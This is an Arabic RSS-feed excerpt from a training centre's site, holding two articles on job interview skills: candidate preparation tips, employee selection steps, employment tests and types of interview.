وفيها يتم إجراء مقابلة لعدد كبير من المتقدمين لشغل نفس الوظيفة ويتم طرح موضوع معين لمناقشته خلال المقابلة ويكون الهدف من هذه المقابلة هو معرفة مدى قدرتك على التجاوب مع الآخرين والتفاعل مع البيئة المحيطة والقدرات الفردية التي تمتلكها ويتم تحديد مقابلة أخرى لمن يجتاز هذه المقابلة .

المقابلة الانتقائية:
وفيها يتم انتقاء بعض الأشخاص غير المرغوب فيهم نتيجة وجود تضارب في البيانات التي تحتوى عليها السيرة الذاتية أو الأشخاص الاقل خبرة وكفاءة ويتم عمل مقابلة شخصية روتينية لهم .

كيف تستعد للمقابلة الشخصية:
ابدأ بجمع المعلومات عن الشركة التي ستلتحق بها خاصة ما يتعلق بنشاطها وفروعها بحيث تكون ملماً بالجزء الأكبر من المعلومات حول الشركة فهذه المعلومات سوف تعطيك قدر اكبر من الثقة بنفسك وستعطى صاحب العمل انطباع جيد عنك وعن قدراتك واستعداداتك للعمل لدي شركته، وهذه المعلومات يمكن لك الحصول عليها من موقع الشركة على الانترنت أو من الأخبار التي تنشر عنها في الصحف أو حتى من إعلانات الشركة بوسائل الإعلام فلا مانع من إن تقوم بجزء من وظيفة العلاقات العامة بالشركة والمتمثل في جمع المعلومات المنشورة عنها بحيث يمكنك مناقشة بعض منها مع صاحب العمل خلال المقابلة الشخصية .

1- حدد الأسئلة المألوفة في مثل هذه اللقاءات وتدرب على الإجابة عليها قبل اللقاء.

2- حدد النقاط التي تريد الاستيضاح عنها من صاحب العمل ودونها في مفكرة واسترجعها قبل المقابلة ثم استفسر عنها بعد أن ينتهي صاحب العمل من الحديث.

3-احرص على ترك انطباع جيد لدى صاحب العمل فالانطباعات الأولى غالبا ما تدوم .

4- اختار الألفاظ والكلمات بشكل دقيق خاصة إذا احتجت لمصطلح أجنبي.

5-تجنب الحركات الجسمانية السلبية كهز الساقين أو ثنى الذراعين ووضعهما متشابكين

6-احرص على وجود ورقة وقلم معك لكتابة اى معلومة هامة

7-يجب أن ترتدي ملابس مناسبة ويفضل ارتداء البذلة الكاملة .

8-يجب أن تراعى أن تكون في أجمل هيئة وفى قمة الأناقة .

9-يجب ان تحرص على الوصول إلى مكان المقابلة قبل الموعد المحدد بفترة كافية .

10-انقر على الباب نقراً خفيفاً قبل الدخول .

11-ابدأ بإلقاء التحية على مديرك وصافحة بصورة غير متكلفة ثم اجلس .

12-حافظ على ابتسامة خفيفة على وجهك أثناء اللقاء .

13-حاول ان تصغي لكل كلمة صغيرة أو كبيرة يقولها المدير ولا تنشغل عنه بالتطلع إلى التابلوه الموجود خلفة أو غير ذلك .

14-الثقة في النفس والابتعاد عن الغرور والتصنع .

15-استخدم نبرة صوت متزنة بحيث لا تكون مرتفعة أو منخفضة ولا تتردد في الكلام .

 

16-عدم الحديث عن الراتب قبل ان يذكره المدير ويفضل عدم تحديد راتب معين لأنه سلاح ذو حدين.

17- حاول أن تؤكد انك حريص على العمل في هذا المجال والتعاون مع الشركة حتى لو كانت شركة حديثة

18-لا تبادر بمصافحة صاحب العمل عندما تهم بالانصراف إلا إذا رغب هو في ذلك حتى لا تتسبب في إحراج نفسك .

19-كن حريصا جدا عندما تهم بالانصراف وتجنب الاصطدام بالكراسي أو أي شيء موجود بالمكتب لأنه يعطى انطباعاً سلبياً.

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/ محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-2/feed/ 0 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى https://cameknowledge.camecenter.com/articles/interview_skills-1/ https://cameknowledge.camecenter.com/articles/interview_skills-1/#respond Sat, 08 Apr 2023 13:01:26 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10446 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الأولى المقدمة           تعتبر عملية التوظيف من أهم أنشطة إدارة الموارد البشرية بل المنظمة لأنها تهدف إلى توفير أفضل العناصر من ذوي الكفاءات والمؤهلات الممتازة. وتعود أهمية عملية التوظيف لإدارة الموارد البشرية في منع أو التقليل من توظيف الشخص الخطأ (الغير مناسب) والذي […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الأولى

المقدمة

          تعتبر عملية التوظيف من أهم أنشطة إدارة الموارد البشرية بل المنظمة لأنها تهدف إلى توفير أفضل العناصر من ذوي الكفاءات والمؤهلات الممتازة. وتعود أهمية عملية التوظيف لإدارة الموارد البشرية في منع أو التقليل من توظيف الشخص الخطأ (الغير مناسب) والذي سيكلف المنظمة الكثير جدا. فبالإضافة إلى تكلفته على المنظمة من حيث الراتب والبدلات فهناك تكلفة قد تكون أضعاف أضعاف ذلك والتي تترتب على الخسائر الناتجة عن القرارات الخاطئة التي يقوم بها الشخص المعين وقد تصل إلى خسارة المنظمة بعض حصتها في السوق بالإضافة إلى خسائر أخرى قد تلحق بالمنظمة .

           وتحتاج كل مؤسسة للاستعانة بالموارد البشرية المؤهلة لتأدية المهام التي تحقق أهدافها ، من هنا تأتي حاجة المؤسسة إلى استقطاب واختيار طالب الوظيفة الأنسب لتأدية الأعمال ، بمعنى اختيار الشخص المناسب للوظيفة المناسبة.

    ويلجأ رجال الصناعة ورجال الأعمال إلى استخدام المقابلات على نطاق واسع، ولا يقوم بإجرائها المتخصصون في العلاقات الشخصية فقط، بل يُجريها المشرفون والإداريون أيضاً،ليتعرفوا على حقيقة رجالهم لكي يُعززوا عملية التوافق المهني لمرؤوسيهم ، ولا تقف  المقابلة الشخصية عند حدود السعي لممارسة الوظيفة ، بل تتعداها إلى عمليات الوظيفة الأخرى مثل،مقابلة العلاقات المهنية لتقرير النتائج الخاصة بالاتجاهات وظروف العمل ،ومقابلة تحليل العمل،ومقابلة توجيهية، بل ومقابلة الفصل، وكلها تستخدم نفس الوسائل في مقابلة التوظيف إلى حد كبير.

     زار براندنبرج brandenburg واحداً وعشرين مكتباً للعمل،ثم وصف أحسن وأسوأ المقابلات التي رآها… ويذكر أن إحدى المقابلات لم تستغرق أكثر من دقيقتين رغم أن الطالب جاء إلى المكتب من مكان يبعد عنه عشرة أميال وقضى ساعتين ونصف ساعة ينتظر دوره إلى المقابلة.(بنجهام  ومور).  

     إن من صور عدم النجاح للمنظمات غياب فلسفة الخط الاستراتيجي لتبني القيادات وغياب نُظم انتقاء واختيار وتقييم الراغبين في العمل ، الذين سوف يكونون الصف الثاني في المنظمة، فكيف يتم تحديدهم ؟ما هي المعايير ؟كلها أسئلة تحتاج إلى إجابات….( توفيق 1996م).

    و تُعد مقابلات التوظيف أحد أنواع الاختيار ، وهي تُشكل العمود الفقري لعملية التوظيف لأنها تتيح الفرصة لكلا الطرفين   (المؤسسة والمرشح ) لتقييم كل منهما للآخر ، ومن ثم :

  • اقتناع المؤسسة بصلاحية المرشح لشغل الوظيفة الشاغرة من جهة .
  • واقتناع المرشح بمناسبة الوظيفة والمؤسسة لطموحاته وتطلعاته من جهة أخرى.

لذلك فإن إتباع الأساليب الصحيحة للتحضير ولإجراء مقابلات التوظيف يضمن نجاح المؤسسة في اختيار العناصر ذات الكفاءة .

    ومقابلات التوظيف مهمة جداً لأنها من أكثر إجراءات الاختبار استخداماً في الحكم على كفاءة المتقدمين لشغل الوظائف بالمنظمة ، وهناك نسبة مرتفعة من المنظمات تبلغ 70% تستخدم الأنواع المختلفة من المقابلات في تقييم الكفاءة لشغل الوظائف ، وقد أجرى دراسة على 852 منظمة واتضح من نتائجها أن 99% من تلك المنظمات تعتمد على مقابلات التوظيف كأحد إجراءات اختبار العاملين بها ، وقد كان يُنظر إلى المقابلة أنها أداة أقل صلاحية في الحكم على الكفاءة ، لكن هذه النظرة تغيرت باعتبارها من أكثر المؤشرات صلاحية في التنبؤ بمستوى أداء الفرد في الوظيفة  ( جاري ديسلر ـ  2003م).

   وتكاد تكون المقابلات الشخصية الوسيلة الأكثر انتشاراً للاختيار، وخاصة لشغل الوظائف الإشرافية والعليا.( رشيد . مازن 1425هـ).

           وتُعتبر المقابلة الشخصية وسيلة شائعة الاستخدام ، ويندر أن يكون هناك برنامج للاختيار والتعيين دون أن يتضمنها،وهو من أقدم الأساليب المستخدمة في الاختيار(حميد.محمد عثمان 1993م). 

 وتقتضي عملية تعيين الأشخاص دراسة مسبقة ودقيقة للوصف الوظيفي والمواصفات الوظيفية (مواصفات الشخص الذي سيشغل الوظيفة) وكذلك دراسة والتعرف على مصادر الموارد البشرية والأخذ بعين الاعتبار الجانب الأخلاقي في عملية التوظيف .

  • مفهوم الاختيار والتعيين:

           هو العمل الذي يتم بموجبه انتقاء أفضل و أنسب المتقدمين للتوظف في المنظمة، لشغل وظائف خالية فيها، و ذلك على أساس موضوعي و عادل، و في ضوء شروط و مواصفات معينة مطلوب توافرها فيهم، يجري تحديدها من خلال متطلبات هذه الوظائف الشاغرة و من أجل تحقيق غاية أساسية هي: تمكين الفرد من أداء مهام وظيفته بكفاءة، و تحقيق أهداف المنظمة و أهدافه من خلال ارتفاع إنتاجية الأفراد بوجه عام .

  • أهداف الاختيار والتعيين:

1- اختيار أفضل القدرات والمهارات

2- تطوير آلية العمل لرفع كفاءة وأساليب العمل

تحقيق الاستقرار الوظيفي للعاملين 3-

4- الاحتفاظ بالقوي العاملة المنتجة وتفضيل القوي المحلية

5- تحقيق التوازن بين العرض والطلب

6- تنفيذ الخطط الخاصة بالتوظيف علي حسب المراحل الزمنية المعدة مسبقا

7- وضع معايير حديثة لاختيار والتعيين مرتبطة بالاحتياجات

  • من الذي يقوم بالاختيار والتعيين ؟

يقوم المديرون التنفيذيون بعمليات الاختيار ، وذلك في المنظمات الصغيرة ، أما في المنظمات الكبيرة ، فإن قرار الاختيار ، يشترك فيه أكثر من طرف ، فإدارة الموارد البشرية تقوم بالإجراءات ، وتقدم أدوات الاختيار ، وتقوم بتدريب المديرين التنفيذيين على تطبيقها ، ويتعاون المديرون التنفيذيون مع إدارة الموارد البشرية في الاختيار ، خاصة مرحلة الاختيار النهائي .

  • خطوات عملية الاختيار:

1- الإعلان عن الشاغر الموجود لدى المنظمة .

2-  تلقي الطلبات والسير الذاتية .

3- تصفية الطلبات وحصر المناسب منها .

4- إجراء مقابلات مبدئية .

5- إجراء اختبارات تتفق مع طبيعة العمل .

6-  إجراء المقابلات الرسمية .

7-  إجراء المفاضلة بين المتقدمين الذين اجتازوا المقابلة الشخصية .

8- القيام بعملية التوظيف مع فترة تجربة .

9- إعداد العاملين (تدريبهم وتعريفهم على العمل والزملاء).

10- تثبيت الأشخاص الذين اجتازوا فترة التجربة بنجاح. 

  • اختبارات التوظيف:

أصبحت كثير من المنظمات تستخدم اختبارات التوظيف حيث أن هذه الاختبارات تساعد على التنبؤ بقدرة الشخص وأداءه في المستقبل. ويجب أن لا يعتمد على هذه الاختبارات بالكلية (بمفردها) في عملية التوظيف بل تكون مساعدة في عملية الاختيار والتوظيف ويمكن استخدام هذه الاختبارات في عملية التوظيف الداخلي (ترقية الموظفين) والتوظيف الخارجي. 

  • أنواع اختبارات التوظيف :  

اختبارات القدرة على الإنجاز
يقيس هذا النوع من الاختبارات مقدرة الشخص على تأدية العمل وخبرته في فنون مهنته.
اختبارات الشخصية
يهدف هذا النوع من الاختبارات إلى الكشف عن جوانب شخصية الفرد لمعرفة مدى ملائمتها لطبيعة الوظيفة. ومن المعلوم انه من الصعب التنبؤ بدقة الجوانب الشخصية مثل الأمانة والصدق … الخ.

اختبارات ميول الشخص وتوجهاته
يقيس هذا النوع من الاختبارات رغبة وميل الشخص بالقيام بالعمل الذي سيسند إليه ومدى درجة اندماجه مع ذلك العمل. ويساعد هذا النوع من الاختبارات الأفراد على اكتشاف العمل الذي يتناسب مع قدراتهم وميولهم. 

اختبار الذكاء (القدرات الذهنية )
تقيس هذه الاختبارات القدرات الذهنية والذكاء وطريقة تفكير الفرد لمواجهة مشاكل العمل وصحة الحكم على الأشياء فالهدف هو التعرف على مستوى ذكاء الفرد ومقارنته مع المستوى المطلوب للوظيفة.
اختبار القدرات
يقيس هذا النوع من الاختبارات قدرة المتقدم للعمل على التذكر والتعبير والابتكار.

  • خصائص الاختبار الجيد:

1- استبعاد العبارات الغامضة وان يكون سهل الفهم .

2- أن يكون الاختبار قادر على الحكم على مقدرة الشخص من حيث الكم والنوع.
3- أن يكون الاختبار أمينا في قياس مقدرة الفرد وان يكون معتدل.
4- أن يتميز الاختبار بالثبات
5- أن يكون الاختبار صالحا لقياس ما صمم من اجله.

6- أن يتميز الاختبار بالموضوعية.

  • مقابلات الاختيار والتوظيف:

تعتبر المقابلات إحدى طرق الاختيار والتعيين والتي من خلالها يتم التعرف على مدى صحة ومطابقة المعلومات التي قدمها الشخص من معلومات وخبرات من خلال المراحل التي تمت في عملية الاختيار. وبالمقابلة يتم التعرف على الشخص وصفاته التي قد لا يتم بالطرق الأخرى وبالتالي يمكن اخذ قرار فيما إذا كان الشخص مناسب أم لا.

 

 

مقابلة التوظيف وموقعها في عملية التوظيف:

    مقابلة التوظيف :

            هي اللقاء الذي يتم بين مسئول أو أكثر في المؤسسة من جهة ، وبين مرشح تقدم لشغل وظيفة شاغرة في المؤسسة، بهدف تقييم مدى صلاحية المرشح لشغل هذه الوظيفة.

تقوم هذه المقابلة على معادلة ثنائية الأطراف :-

  • المسئولين من المؤسسة : بهدف تقييم المرشح للتأكد من مدى أهليته للوظيفة
  • المرشح: الذي يحاول إثبات جدارته لشغل هذه الوظيفة.

تهدف المقابلة إلى:

  • تقويم المتقدم للعمل.
  • تزويد المتقدم بالمعلومات اللازمة عن المنظمة.
  • تنمية العلاقات مع الجمهور الخارجي.( أبو شيخة2000م).

فوائد مقابلات التوظيف :

  • تستخدم كوسيلة أولية لتصفية المتقدمين بالتأكد من الشروط اللازمة لديهم.
  • تعتبر وسيلة بديلة للامتحانات في اختيار المتقدمين لشغل الوظائف.
  • وسيلة مكملة للامتحانات للاختيار من بين الذين اجتازوا الامتحانات وإبراز جوانب لم تظهر في الاختبارات ولا تكشفها الامتحانات مثل( القدرة على الاتصال- التعبير عن الذات- اللياقة- الثقة بالنفس-القدرة على الإقناع…)
  • سد الثغرات الموجودة في بيان السيرة الذاتية للمرشح وفي طلب الوظيفة(غطاس ،ناصر وشركاوهم 1997م).

 

وهي تُحقق مزايا للمتقدمين منها:-

  • تعطي المتقدمين معلومات غير موجودة في نموذج التوظيف.
  • الاستيضاح عن استفسارات معينة حول بيئة العمل.

عيوب مقابلات التوظيف:

  • أداة غير دقيقة تماماً.
  • كثيراً ما يُساء استخدامها.
  • الوقت الكبير الذي تستغرقه إذا قُدمت بمعاييرها الصحيحة.

 

 

  • أنواع المقابلات

يمكن تصنيف المقابلات الشخصية إلى عدة أنواع :-

المقابلات الفردية:

    التي يجريها مقابل واحد أو عدد من المقابلين لمتقدم واحد.

المقابلات الجماعية:

    تُجرى لعدد من المتقدمين في آن واحد عن طريق شخص واحد أو أكثر، هي غير شائعة ،هدفها تقويم الخصائص الاجتماعية وسلوكه في مجموعات العمل.

المقابلات المتعاقبة:

    هي سلسلة مقابلات فردية تُجرى المقابلة للمتقدم من عدة أشخاص كل على حدة، واحداً تلو الآخر، كل مقابِل متخصص في مجال معين، تستخدم للحصول على صورة موسعة متعددة الجوانب عن المتقدم.، لكنها تأخذ وقتاً وجهداً كبيراً (داين براك2004).

المقابلات الهاتفية:

   أو الحاسب والانترنت ، لكن المقابلة وجهاً لوجه هي الأفضل، تعطي قراراً أكثر دقة في الاختيار. رغم أنه لا يُعد فعالاً بالشكل المطلوب ، قد يُلجأ إلى هذا النوع عندما يُختار موظفين من مدينة أخرى ولا يتمكن المتقدمون من حضور المقابلة الشخصية .

  • أساليب اجراء المقابلات


المقابلة التمهيدية

          يجري هذا النوع من المقابلات للحصول على بيانات ومعلومات أولية ويمكن أن يتم تعبئة طلب التوظيف الخاص بالمنظمة خلال هذه المقابلة.


المقابلة النموذجية

          تجري هذه المقابلة عن طريق استخدام نموذج يحتوي على أسئلة صممت للحصول على معلومات ضرورية وهذا النموذج يقدم لجميع المتقدمين للوظيفة ويحقق المساواة للجميع. 

المقابلة الفردية

           يتم اللقاء بالمقابلة بين كل من المتقدم للوظيفة وموظف من قبل المنظمة وفي الغالب ما يميز هذا النوع من المقابلات التفاعل والتركيز الجيد من قبل الطرفين. 


المقابلة الجماعية
لا يقتصر العدد في هذه المقابلة على شخصين كما في المقابلة الفردية بل يتكون من مجموعة من الأفراد والتي تمثل أحد الأشكال الثلاثة التالية:
•متقدم واحد للوظيفة مع اثنين أو أكثر من طرف المنظمة (ممثلين للمنظمة(  .
• مجموعة (اثنين أو أكثر) من المتقدمين للوظيفة مع شخص واحد من طرف المنظمة.

  • مجموعة (اثنين أو أكثر) من المتقدمين للوظيفة مع مجموعة (لجنة) منالأشخاص   من طرف المنظمة.

المقابلة الانفعالية (الضغط)

     يستعمل هذا النوع من المقابلات لخلق جو من التوتر لدى الأفراد المرشحين ليتعرف على مد يتطلب إجراءها تدريباً عالياً،تستخدم عادة مع الوظائف التي يتعرض شاغلوها لضغط كبير يحتاج إلى اتزان ، طورت قبل الحرب العالمية الثانية من قبل الألمان ، تقوم على خلق نوعاً من الضغط والتوتر والقلق والاستفزاز للشخص لمعرفة طريقة تعامله ، يستخدم في وظائف المخابرات وما شابهها ( رشيد.مازن- 1425هـ).

   تُستخدم حينما يكون ضغط العمل سريعاً يرهق حتى الفني المحترف يقيس كيف يتصرف المرشح في أكثر المواقف سوءاً، لا يكون في المقابلة كلام ودي بل الدخول مباشرة إلى لب الموضوع، لأن هناك متطلبات سيكولوجية ،هل سيفقد سيطرته على نفسه ومتى؟ الضغط عليه ليقول أشياء غير حقيقية وإبداء الشك فيما حققه من إنجازات؟ هل سيبقى رابط الجأش ؟ هل سيبقى محتفظاً بنبرة صوته؟(فراي.رون 2004)  ى تحمل وطبيعة تصرف الشخص أثناء جو من التوتر وفي ظل وجود مشاكل. 

المقابلة الموجهة
حيث يتم التركيز في هذا النوع من المقابلات على توجيه الأسئلة من المقابل (ممثل المنظمة) وعلى المتقدم الإجابة عن هذه الأسئلة وبالتالي لا يتوفر في هذا النوع من المقابلات المرونة في المقابلة. 

  • وميزة هذا النوع:

عندما لا يتمتع المسئول عن المقابلة بمهارة ومؤهلات الأسلوب المفتوح.

ابتعاده عن الأحكام الشخصية المنحازة.

 تحديد الوقت للمقابلة،وتحديد المعلومات التي يحتاجها….

  • عيوبها: –

جعلها مثل الاستجواب ودفع المرشح لمواقف الدفاع دون الآراء الصريحة.

لا توجد معرفة للآراء والأفكار بين المسئول والمرشح.

عدم التطرق لأسئلة قد يلزم الإجابة عليها بناء على إجابته… ( غطاس. ناصر 1997م).


المقابلة الغير موجهة

        يتسم هذا النوع من المقابلات بالمرونة في الأسئلة ولا يوجد تقيد بمعلومات محددة يجب الحصول عليها. وهذه الطريقة على العكس من المقابلة الموجهة.

  • يتم تصنيف أو فرز النتائج النهائية ويتم بعد ذلك اعتمادها من قبل الإدارة العليا.
  • يتم إعلام المقبولين للتعيين عن طريق البريد أو الهاتف أو البريد الإلكتروني انه قد تم قبولهم للتعيين.
  • يتم الاعتذار لغير المقبولين. 
  • تحضير كتاب التعيين.
  • يحدد تاريخ ووقت التعيين.
  • يـتم إتمام إجراءات التعيين والفحص الطبي ويعبأ طلب التوظيف ويوقع عقد العمل ويصدر كتاب التعيين من قبل الإدارة ويتم تعيينه.
  • يرسل الموظف إلى الادارةالمعنية للبدء بالعمل ويرسل كتاب مباشرة العمل من قبل مدير الادارة أو لقسم المعني للمالـية حتـى يتم إدراج اسم الموظف على سجل الرواتب وذلك حسب نموذج مباشرة عمل.

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-1/feed/ 0